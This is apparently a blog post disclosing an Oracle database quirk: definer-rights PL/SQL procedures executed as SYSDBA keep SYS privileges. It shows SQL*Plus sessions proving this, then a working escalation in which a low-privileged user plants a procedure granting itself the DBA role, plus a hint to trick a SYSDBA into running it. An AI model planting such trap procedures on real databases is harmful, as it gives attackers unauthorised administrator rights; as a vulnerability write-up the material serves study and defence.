Calling Definer-Rights Procedure as SYSDBA – Security Hole?

In one of my previous posts I mentioned SYSTEM_PRIVILEGE_MAP view. Taking this thread further, I looked into another nice view – V$ENABLEDPRIVS – showing the privileges enabled for the session at the moment. It should be pretty useful if you decide to add some diagnostics into your application. You might also find it very helpful to call from PL/SQL. As you know roles are not enabled in PL/SQL, so use this view to see what system privileges are active.

While working this out I noticed one anomaly that should probably be considered as a security hole. In a nutshell, definer-rights PL/SQL procedures are executed with owner rights. What I figured it that calling a PL/SQL procedure with definer-rights (i.e. AUTHID DEFINER by default) as SYS user keeps SYS permissions at run-time. In the end I’ll show how to grant DBA role for yourself.

First of all, here is how I came across it:

-------- Make V$ENABLEDPRIVS available to u1 user ---------
SQL> connect / as sysdba
Connected.
SQL> create view my$ENABLEDPRIVS as select * from V$ENABLEDPRIVS;

View created.

SQL> grant select on my$ENABLEDPRIVS to u1;

Grant succeeded.

-------- Check active privileges for u1 ---------
SQL> connect u1/u1
Connected.
SQL> select a.priv_number,b.name from sys.my$ENABLEDPRIVS a, SYSTEM_PRIVILEGE_MAP b
  2  where a.priv_number = b.privilege order by 2;

PRIV_NUMBER NAME
----------- ----------------------------------------
         -6 ALTER SESSION
        -60 CREATE CLUSTER
       -115 CREATE DATABASE LINK
       -105 CREATE SEQUENCE
         -5 CREATE SESSION
        -80 CREATE SYNONYM
        -40 CREATE TABLE
        -90 CREATE VIEW

8 rows selected.

------- Create procedure owned by sys -------
SQL> connect / as sysdba
Connected.
SQL> create or replace procedure c1 as
  2  c number;
  3  begin
  4  select count(*) into c from sys.my$ENABLEDPRIVS;
  5  dbms_output.put_line(c);
  6  end;
  7  /

Procedure created.

------- Let's call it as sys - 275 enabled --------
SQL> set serverout on
SQL> exec c1
275

PL/SQL procedure successfully completed.

SQL> grant execute on c1 to public;

Grant succeeded.

------- Now calling as user u1 gives the same 275 --------
------ expected as by default procedure has definer-rights ------
SQL> connect u1/u1
Connected.
SQL> set serverout on
SQL> exec sys.c1;
275

PL/SQL procedure successfully completed.

------- next I create c1 procedure owned by u1 ------
SQL> connect / as sysdba
Connected.
SQL> create or replace procedure u1.c1 as
  2  c number;
  3  begin
  4  select count(*) into c from sys.my$ENABLEDPRIVS;
  5  dbms_output.put_line(c);
  6  end;
  7  /

Procedure created.

——- executing u1.c1 by sys gives surprising 275 and not 0! ——

SQL> set serverout on
SQL> exec u1.c1;
275

PL/SQL procedure successfully completed.

------- To be sure call u1.c1 as u1 user - 0 as expected -----
SQL> connect u1/u1
Connected.
SQL> set serverout on
SQL> exec u1.c1;
0

PL/SQL procedure successfully completed.

What a surprise! Looks like a PL/SQL procedure called as sysdba keeps invoker-rights even though the procedure is defined with definer-rights (AUTHID DEFINER by default). I wanted to verify it by counting rows in ALL_TABLES:

SQL> connect u1/u1
Connected.
SQL> select count(*) from all_tables;

  COUNT(*)
----------
        20

SQL> connect / as sysdba
Connected.
SQL> select count(*) from all_tables;

  COUNT(*)
----------
      1475

SQL> create or replace procedure c2 as
  2  c number;
  3  begin
  4  select count(*) into c from all_tables;
  5  dbms_output.put_line(c);
  6  end;
  7  /

Procedure created.

SQL> create or replace procedure u1.c2 as
  2  c number;
  3  begin
  4  select count(*) into c from all_tables;
  5  dbms_output.put_line(c);
  6  end;
  7  /

Procedure created.

SQL> grant execute on c2 to u1;

Grant succeeded.

SQL> set serverout on
SQL> exec c2
1475

PL/SQL procedure successfully completed.

——– THIS SHOULD RETURN 20! ——–

SQL> exec u1.c2
1475

PL/SQL procedure successfully completed.

SQL> connect u1/u1
Connected.
SQL> set serverout on
SQL> exec c2
20

PL/SQL procedure successfully completed.

------- opposite is valid --------
SQL> exec sys.c2
1475

PL/SQL procedure successfully completed.

All above was done with 10.1. Now more serious example with acquiring DBA role in 10.2.0.2:

SQL> create user u1 identified by u1;

User created.

SQL> grant connect to u1;

Grant succeeded.

SQL> grant create procedure to u1;

Grant succeeded.

SQL> connect u1/u1
Connected.
SQL> create procedure hack as
  2  begin
  3  execute immediate 'grant dba to u1';
  4  end;
  5  /

Procedure created.

SQL> exec hack
BEGIN hack; END;

*
ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "U1.HACK", line 3
ORA-06512: at line 1

SQL> connect / as sysdba
Connected.
SQL> exec u1.hack

PL/SQL procedure successfully completed.

SQL> connect u1/u1
Connected.
SQL> select count(*) from v$enabledprivs;

  COUNT(*)
----------
       162

Now it takes a bit of creativity to find the way for your procedure get called by a SYSDBA user.